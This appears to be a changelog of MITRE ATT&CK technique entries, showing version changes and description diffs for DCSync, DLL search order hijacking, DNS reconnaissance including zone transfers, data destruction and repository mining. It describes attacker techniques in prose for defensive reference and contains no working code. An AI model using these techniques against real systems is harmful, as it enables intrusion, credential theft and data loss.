dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
x_mitre_remote_supportFalse
values_changed
STIX FieldOld valueNew Value
modified2022-03-24 17:33:03.443000+00:002024-10-15 18:45:51.945000+00:00
x_mitre_version1.11.2

[T1003.006] OS Credential Dumping: DCSync

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['Administrator']
values_changed
STIX FieldOld valueNew Value
modified2021-04-22 20:20:14.595000+00:002024-10-15 15:54:08.312000+00:00
external_references[6]['description']Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved August 7, 2017.Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved September 23, 2024.
external_references[6]['url']http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/https://blog.harmj0y.net/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/
x_mitre_version1.01.1

[T1574.001] Hijack Execution Flow: DLL Search Order Hijacking

Current version: 1.3

Version changed from: 1.2 → 1.3

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may execute their own malicious payloads by hijat1Adversaries may execute their own malicious payloads by hija
>cking the search order used to load DLLs. Windows systems us>cking the search order used to load DLLs. Windows systems us
>e a common method to look for required DLLs to load into a p>e a common method to look for required DLLs to load into a p
>rogram. (Citation: Microsoft Dynamic Link Library Search Ord>rogram. (Citation: Microsoft Dynamic Link Library Search Ord
>er)(Citation: FireEye Hijacking July 2010) Hijacking DLL loa>er)(Citation: FireEye Hijacking July 2010) Hijacking DLL loa
>ds may be for the purpose of establishing persistence as wel>ds may be for the purpose of establishing persistence as wel
>l as elevating privileges and/or evading restrictions on fil>l as elevating privileges and/or evading restrictions on fil
>e execution.  There are many ways an adversary can hijack DL>e execution.  There are many ways an adversary can hijack DL
>L loads. Adversaries may plant trojan dynamic-link library f>L loads. Adversaries may plant trojan dynamic-link library f
>iles (DLLs) in a directory that will be searched before the >iles (DLLs) in a directory that will be searched before the 
>location of a legitimate library that will be requested by a>location of a legitimate library that will be requested by a
> program, causing Windows to load their malicious library wh> program, causing Windows to load their malicious library wh
>en it is called for by the victim program. Adversaries may a>en it is called for by the victim program. Adversaries may a
>lso perform DLL preloading, also called binary planting atta>lso perform DLL preloading, also called binary planting atta
>cks, (Citation: OWASP Binary Planting) by placing a maliciou>cks, (Citation: OWASP Binary Planting) by placing a maliciou
>s DLL with the same name as an ambiguously specified DLL in >s DLL with the same name as an ambiguously specified DLL in 
>a location that Windows searches before the legitimate DLL. >a location that Windows searches before the legitimate DLL. 
>Often this location is the current working directory of the >Often this location is the current working directory of the 
>program.(Citation: FireEye fxsst June 2011) Remote DLL prelo>program.(Citation: FireEye fxsst June 2011) Remote DLL prelo
>ading attacks occur when a program sets its current director>ading attacks occur when a program sets its current director
>y to a remote location such as a Web share before loading a >y to a remote location such as a Web share before loading a 
>DLL. (Citation: Microsoft Security Advisory 2269637)  Phanto>DLL. (Citation: Microsoft Security Advisory 2269637)  Phanto
>m DLL hijacking is a specific type of DLL search order hijac>m DLL hijacking is a specific type of DLL search order hijac
>king where adversaries target references to non-existent DLL>king where adversaries target references to non-existent DLL
> files.(Citation: Adversaries Hijack DLLs) They may be able > files.(Citation: Hexacorn DLL Hijacking)(Citation: Adversar
>to load their own malicious DLL by planting it with the corr>ies Hijack DLLs) They may be able to load their own maliciou
>ect name in the location of the missing module.  Adversaries>s DLL by planting it with the correct name in the location o
> may also directly modify the search order via DLL redirecti>f the missing module.  Adversaries may also directly modify 
>on, which after being enabled (in the Registry and creation >the search order via DLL redirection, which after being enab
>of a redirection file) may cause a program to load a differe>led (in the Registry and creation of a redirection file) may
>nt DLL.(Citation: Microsoft Dynamic-Link Library Redirection> cause a program to load a different DLL.(Citation: Microsof
>)(Citation: Microsoft Manifests)(Citation: FireEye DLL Searc>t Dynamic-Link Library Redirection)(Citation: Microsoft Mani
>h Order Hijacking)  If a search order-vulnerable program is >fests)(Citation: FireEye DLL Search Order Hijacking)  If a s
>configured to run at a higher privilege level, then the adve>earch order-vulnerable program is configured to run at a hig
>rsary-controlled DLL that is loaded will also be executed at>her privilege level, then the adversary-controlled DLL that 
> the higher level. In this case, the technique could be used>is loaded will also be executed at the higher level. In this
> for privilege escalation from user to administrator or SYST> case, the technique could be used for privilege escalation 
>EM or from administrator to SYSTEM, depending on the program>from user to administrator or SYSTEM or from administrator t
>. Programs that fall victim to path hijacking may appear to >o SYSTEM, depending on the program. Programs that fall victi
>behave normally because malicious DLLs may be configured to >m to path hijacking may appear to behave normally because ma
>also load the legitimate DLLs they were meant to replace.>licious DLLs may be configured to also load the legitimate D
 >LLs they were meant to replace.
Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-28 15:51:58.945000+00:002024-09-30 17:32:59.948000+00:00
descriptionAdversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution. + +There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637) + +Phantom DLL hijacking is a specific type of DLL search order hijacking where adversaries target references to non-existent DLL files.(Citation: Adversaries Hijack DLLs) They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module. + +Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking) + +If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution. + +There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637) + +Phantom DLL hijacking is a specific type of DLL search order hijacking where adversaries target references to non-existent DLL files.(Citation: Hexacorn DLL Hijacking)(Citation: Adversaries Hijack DLLs) They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module. + +Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking) + +If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.
x_mitre_version1.21.3
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Hexacorn DLL Hijacking', 'description': 'Hexacorn. (2013, December 8). Beyond good ol’ Run key, Part 5. Retrieved August 14, 2024.', 'url': 'https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/'}

[T1590.002] Gather Victim Network Information: DNS

Current version: 1.2

Version changed from: 1.1 → 1.2

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may gather information about the victim's DNS tht1Adversaries may gather information about the victim's DNS th
>at can be used during targeting. DNS information may include>at can be used during targeting. DNS information may include
> a variety of details, including registered name servers as > a variety of details, including registered name servers as 
>well as records that outline addressing for a target’s subdo>well as records that outline addressing for a target’s subdo
>mains, mail servers, and other hosts. DNS, MX, TXT, and SPF >mains, mail servers, and other hosts. DNS MX, TXT, and SPF r
>records may also reveal the use of third party cloud and Saa>ecords may also reveal the use of third party cloud and SaaS
>S providers, such as Office 365, G Suite, Salesforce, or Zen> providers, such as Office 365, G Suite, Salesforce, or Zend
>desk.(Citation: Sean Metcalf Twitter DNS Records)  Adversari>esk.(Citation: Sean Metcalf Twitter DNS Records)  Adversarie
>es may gather this information in various ways, such as quer>s may gather this information in various ways, such as query
>ying or otherwise collecting details via [DNS/Passive DNS](h>ing or otherwise collecting details via [DNS/Passive DNS](ht
>ttps://attack.mitre.org/techniques/T1596/001). DNS informati>tps://attack.mitre.org/techniques/T1596/001). DNS informatio
>on may also be exposed to adversaries via online or other ac>n may also be exposed to adversaries via online or other acc
>cessible data sets (ex: [Search Open Technical Databases](ht>essible data sets (ex: [Search Open Technical Databases](htt
>tps://attack.mitre.org/techniques/T1596)).(Citation: DNS Dum>ps://attack.mitre.org/techniques/T1596)).(Citation: DNS Dump
>pster)(Citation: Circl Passive DNS) Gathering this informati>ster)(Citation: Circl Passive DNS) Gathering this informatio
>on may reveal opportunities for other forms of reconnaissanc>n may reveal opportunities for other forms of reconnaissance
>e (ex: [Search Open Technical Databases](https://attack.mitr> (ex: [Search Open Technical Databases](https://attack.mitre
>e.org/techniques/T1596), [Search Open Websites/Domains](http>.org/techniques/T1596), [Search Open Websites/Domains](https
>s://attack.mitre.org/techniques/T1593), or [Active Scanning]>://attack.mitre.org/techniques/T1593), or [Active Scanning](
>(https://attack.mitre.org/techniques/T1595)), establishing o>https://attack.mitre.org/techniques/T1595)), establishing op
>perational resources (ex: [Acquire Infrastructure](https://a>erational resources (ex: [Acquire Infrastructure](https://at
>ttack.mitre.org/techniques/T1583) or [Compromise Infrastruct>tack.mitre.org/techniques/T1583) or [Compromise Infrastructu
>ure](https://attack.mitre.org/techniques/T1584)), and/or ini>re](https://attack.mitre.org/techniques/T1584)), and/or init
>tial access (ex: [External Remote Services](https://attack.m>ial access (ex: [External Remote Services](https://attack.mi
>itre.org/techniques/T1133)).>tre.org/techniques/T1133)).  Adversaries may also use DNS zo
 >ne transfer (DNS query type AXFR) to collect all records fro
 >m a misconfigured DNS server.(Citation: Trails-DNS)(Citation
 >: DNS-CISA)(Citation: Alexa-dns)

New Mitigations:

Dropped Mitigations:

Details
values_changed
STIX FieldOld valueNew Value
modified2022-10-21 14:32:48.393000+00:002024-09-12 19:36:20.374000+00:00
descriptionAdversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. DNS, MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation: Sean Metcalf Twitter DNS Records) + +Adversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. DNS MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation: Sean Metcalf Twitter DNS Records) + +Adversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). + +Adversaries may also use DNS zone transfer (DNS query type AXFR) to collect all records from a misconfigured DNS server.(Citation: Trails-DNS)(Citation: DNS-CISA)(Citation: Alexa-dns)
external_references[3]['description']Sean Metcalf. (2019, May 9). Sean Metcalf Twitter. Retrieved May 27, 2022.Sean Metcalf. (2019, May 9). Sean Metcalf Twitter. September 12, 2024.
external_references[3]['url']https://twitter.com/PyroTek3/status/1126487227712921600/photo/1https://x.com/PyroTek3/status/1126487227712921600
x_mitre_attack_spec_version2.1.03.2.0
x_mitre_version1.11.2
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'DNS-CISA', 'description': 'CISA. (2016, September 29). DNS Zone Transfer AXFR Requests May Leak Domain Information. Retrieved June 5, 2024.', 'url': 'https://www.cisa.gov/news-events/alerts/2015/04/13/dns-zone-transfer-axfr-requests-may-leak-domain-information'}
external_references{'source_name': 'Alexa-dns', 'description': "Scanning Alexa's Top 1M for AXFR. (2015, March 29). Retrieved June 5, 2024.", 'url': 'https://en.internetwache.org/scanning-alexas-top-1m-for-axfr-29-03-2015/'}
external_references{'source_name': 'Trails-DNS', 'description': "SecurityTrails. (2018, March 14). Wrong Bind Configuration Exposes the Complete List of Russian TLD's to the Internet. Retrieved June 5, 2024.", 'url': 'https://web.archive.org/web/20180615055527/https://securitytrails.com/blog/russian-tlds'}

[T1485] Data Destruction

Current version: 1.3

Version changed from: 1.2 → 1.3

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may destroy data and files on specific systems ot1Adversaries may destroy data and files on specific systems o
>r in large numbers on a network to interrupt availability to>r in large numbers on a network to interrupt availability to
> systems, services, and network resources. Data destruction > systems, services, and network resources. Data destruction 
>is likely to render stored data irrecoverable by forensic te>is likely to render stored data irrecoverable by forensic te
>chniques through overwriting files or data on local and remo>chniques through overwriting files or data on local and remo
>te drives.(Citation: Symantec Shamoon 2012)(Citation: FireEy>te drives.(Citation: Symantec Shamoon 2012)(Citation: FireEy
>e Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Ci>e Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Ci
>tation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon>tation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon
>3 2018)(Citation: Talos Olympic Destroyer 2018) Common opera>3 2018)(Citation: Talos Olympic Destroyer 2018) Common opera
>ting system file deletion commands such as <code>del</code> >ting system file deletion commands such as <code>del</code> 
>and <code>rm</code> often only remove pointers to files with>and <code>rm</code> often only remove pointers to files with
>out wiping the contents of the files themselves, making the >out wiping the contents of the files themselves, making the 
>files recoverable by proper forensic methodology. This behav>files recoverable by proper forensic methodology. This behav
>ior is distinct from [Disk Content Wipe](https://attack.mitr>ior is distinct from [Disk Content Wipe](https://attack.mitr
>e.org/techniques/T1561/001) and [Disk Structure Wipe](https:>e.org/techniques/T1561/001) and [Disk Structure Wipe](https:
>//attack.mitre.org/techniques/T1561/002) because individual >//attack.mitre.org/techniques/T1561/002) because individual 
>files are destroyed rather than sections of a storage disk o>files are destroyed rather than sections of a storage disk o
>r the disk's logical structure.  Adversaries may attempt to >r the disk's logical structure.  Adversaries may attempt to 
>overwrite files and directories with randomly generated data>overwrite files and directories with randomly generated data
> to make it irrecoverable.(Citation: Kaspersky StoneDrill 20> to make it irrecoverable.(Citation: Kaspersky StoneDrill 20
>17)(Citation: Unit 42 Shamoon3 2018) In some cases political>17)(Citation: Unit 42 Shamoon3 2018) In some cases political
>ly oriented image files have been used to overwrite data.(Ci>ly oriented image files have been used to overwrite data.(Ci
>tation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoo>tation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoo
>n Nov 2016)(Citation: Kaspersky StoneDrill 2017)  To maximiz>n Nov 2016)(Citation: Kaspersky StoneDrill 2017)  To maximiz
>e impact on the target organization in operations where netw>e impact on the target organization in operations where netw
>ork-wide availability interruption is the goal, malware desi>ork-wide availability interruption is the goal, malware desi
>gned for destroying data may have worm-like features to prop>gned for destroying data may have worm-like features to prop
>agate across a network by leveraging additional techniques l>agate across a network by leveraging additional techniques l
>ike [Valid Accounts](https://attack.mitre.org/techniques/T10>ike [Valid Accounts](https://attack.mitre.org/techniques/T10
>78), [OS Credential Dumping](https://attack.mitre.org/techni>78), [OS Credential Dumping](https://attack.mitre.org/techni
>ques/T1003), and [SMB/Windows Admin Shares](https://attack.m>ques/T1003), and [SMB/Windows Admin Shares](https://attack.m
>itre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2>itre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2
>012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto>012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto
> Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Cita> Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Cita
>tion: Talos Olympic Destroyer 2018).  In cloud environments,>tion: Talos Olympic Destroyer 2018).  In cloud environments,
> adversaries may leverage access to delete cloud storage, cl> adversaries may leverage access to delete cloud storage obj
>oud storage accounts, machine images, and other infrastructu>ects, machine images, database instances, and other infrastr
>re crucial to operations to damage an organization or their >ucture crucial to operations to damage an organization or th
>customers.(Citation: Data Destruction - Threat Post)(Citatio>eir customers.(Citation: Data Destruction - Threat Post)(Cit
>n: DOJ  - Cisco Insider)>ation: DOJ  - Cisco Insider)

New Mitigations:

New Detections:

Details
values_changed
STIX FieldOld valueNew Value
modified2023-10-03 17:30:32.192000+00:002024-09-25 20:46:14.641000+00:00
descriptionAdversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure. + +Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017) + +To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018). + +In cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider)Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure. + +Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017) + +To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018). + +In cloud environments, adversaries may leverage access to delete cloud storage objects, machine images, database instances, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider)
x_mitre_version1.21.3
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_data_sourcesCloud Storage: Cloud Storage Modification

[T1530] Data from Cloud Storage

Current version: 2.2

Version changed from: 2.1 → 2.2

New Detections:

Details
values_changed
STIX FieldOld valueNew Value
modified2023-09-29 16:11:43.530000+00:002024-10-14 22:11:30.271000+00:00
x_mitre_version2.12.2
x_mitre_platforms[2]Google WorkspaceOffice Suite
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_contributorsArun Seelagan, CISA
x_mitre_data_sourcesCloud Service: Cloud Service Metadata
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsOffice 365

[T1213] Data from Information Repositories

Current version: 3.4

Version changed from: 3.3 → 3.4

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may leverage information repositories to mine vat1Adversaries may leverage information repositories to mine va
>luable information. Information repositories are tools that >luable information. Information repositories are tools that 
>allow for storage of information, typically to facilitate co>allow for storage of information, typically to facilitate co
>llaboration or information sharing between users, and can st>llaboration or information sharing between users, and can st
>ore a wide variety of data that may aid adversaries in furth>ore a wide variety of data that may aid adversaries in furth
>er objectives, or direct access to the target information. A>er objectives, such as Credential Access, Lateral Movement, 
>dversaries may also abuse external sharing features to share>or Defense Evasion, or direct access to the target informati
> sensitive documents with recipients outside of the organiza>on. Adversaries may also abuse external sharing features to 
>tion.   The following is a brief list of example information>share sensitive documents with recipients outside of the org
> that may hold potential value to an adversary and may also >anization (i.e., [Transfer Data to Cloud Account](https://at
>be found on an information repository:  * Policies, procedur>tack.mitre.org/techniques/T1537)).   The following is a brie
>es, and standards * Physical / logical network diagrams * Sy>f list of example information that may hold potential value 
>stem architecture diagrams * Technical system documentation >to an adversary and may also be found on an information repo
>* Testing / development credentials * Work / project schedul>sitory:  * Policies, procedures, and standards * Physical / 
>es * Source code snippets * Links to network shares and othe>logical network diagrams * System architecture diagrams * Te
>r internal resources  Information stored in a repository may>chnical system documentation * Testing / development credent
> vary based on the specific instance or environment. Specifi>ials (i.e., [Unsecured Credentials](https://attack.mitre.org
>c common information repositories include web-based platform>/techniques/T1552))  * Work / project schedules * Source cod
>s such as [Sharepoint](https://attack.mitre.org/techniques/T>e snippets * Links to network shares and other internal reso
>1213/002) and [Confluence](https://attack.mitre.org/techniqu>urces * Contact or other sensitive information about busines
>es/T1213/001), specific services such as Code Repositories, >s partners and customers, including personally identifiable 
>IaaS databases, enterprise databases, and other storage infr>information (PII)   Information stored in a repository may v
>astructure such as SQL Server.>ary based on the specific instance or environment. Specific 
 >common information repositories include the following:  * St
 >orage services such as IaaS databases, enterprise databases,
 > and more specialized platforms such as customer relationshi
 >p management (CRM) databases  * Collaboration platforms such
 > as SharePoint, Confluence, and code repositories * Messagin
 >g platforms such as Slack and Microsoft Teams   In some case
 >s, information repositories have been improperly secured, ty
 >pically by unintentionally allowing for overly-broad access 
 >by all users or even public access to unauthenticated users.
 > This is particularly common with cloud-native or cloud-host
 >ed services, such as AWS Relational Database Service (RDS), 
 >Redis, or ElasticSearch.(Citation: Mitiga)(Citation: TrendMi
 >cro Exposed Redis 2020)(Citation: Cybernews Reuters Leak 202
 >2)

New Mitigations:

Details
values_changed
STIX FieldOld valueNew Value
modified2024-03-01 16:27:47.391000+00:002024-10-28 19:10:16.960000+00:00
descriptionAdversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization. + +The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository: + +* Policies, procedures, and standards +* Physical / logical network diagrams +* System architecture diagrams +* Technical system documentation +* Testing / development credentials +* Work / project schedules +* Source code snippets +* Links to network shares and other internal resources + +Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server.Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, such as Credential Access, Lateral Movement, or Defense Evasion, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization (i.e., [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)). + +The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository: + +* Policies, procedures, and standards +* Physical / logical network diagrams +* System architecture diagrams +* Technical system documentation +* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)) +* Work / project schedules +* Source code snippets +* Links to network shares and other internal resources +* Contact or other sensitive information about business partners and customers, including personally identifiable information (PII) + +Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include the following: + +* Storage services such as IaaS databases, enterprise databases, and more specialized platforms such as customer relationship management (CRM) databases +* Collaboration platforms such as SharePoint, Confluence, and code repositories +* Messaging platforms such as Slack and Microsoft Teams + +In some cases, information repositories have been improperly secured, typically by unintentionally allowing for overly-broad access by all users or even public access to unauthenticated users. This is particularly common with cloud-native or cloud-hosted services, such as AWS Relational Database Service (RDS), Redis, or ElasticSearch.(Citation: Mitiga)(Citation: TrendMicro Exposed Redis 2020)(Citation: Cybernews Reuters Leak 2022)
x_mitre_version3.33.4
x_mitre_platforms[5]Google WorkspaceOffice Suite
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Mitiga', 'description': 'Ariel Szarf, Doron Karmi, and Lionel Saposnik. (n.d.). Oops, I Leaked It Again — How Mitiga Found PII in Exposed Amazon RDS Snapshots. Retrieved September 24, 2024.', 'url': 'https://www.mitiga.io/blog/how-mitiga-found-pii-in-exposed-amazon-rds-snapshots'}
external_references{'source_name': 'TrendMicro Exposed Redis 2020', 'description': 'David Fiser and Jaromir Horejsi. (2020, April 21). Exposed Redis Instances Abused for Remote Code Execution, Cryptocurrency Mining. Retrieved September 25, 2024.', 'url': 'https://www.trendmicro.com/en_us/research/20/d/exposed-redis-instances-abused-for-remote-code-execution-cryptocurrency-mining.html'}
external_references{'source_name': 'Cybernews Reuters Leak 2022', 'description': 'Vilius Petkauskas . (2022, November 3). Thomson Reuters collected and leaked at least 3TB of sensitive data. Retrieved September 25, 2024.', 'url': 'https://cybernews.com/security/thomson-reuters-leaked-terabytes-sensitive-data/'}
x_mitre_contributorsObsidian Security
x_mitre_contributorsNaveen Vijayaraghavan
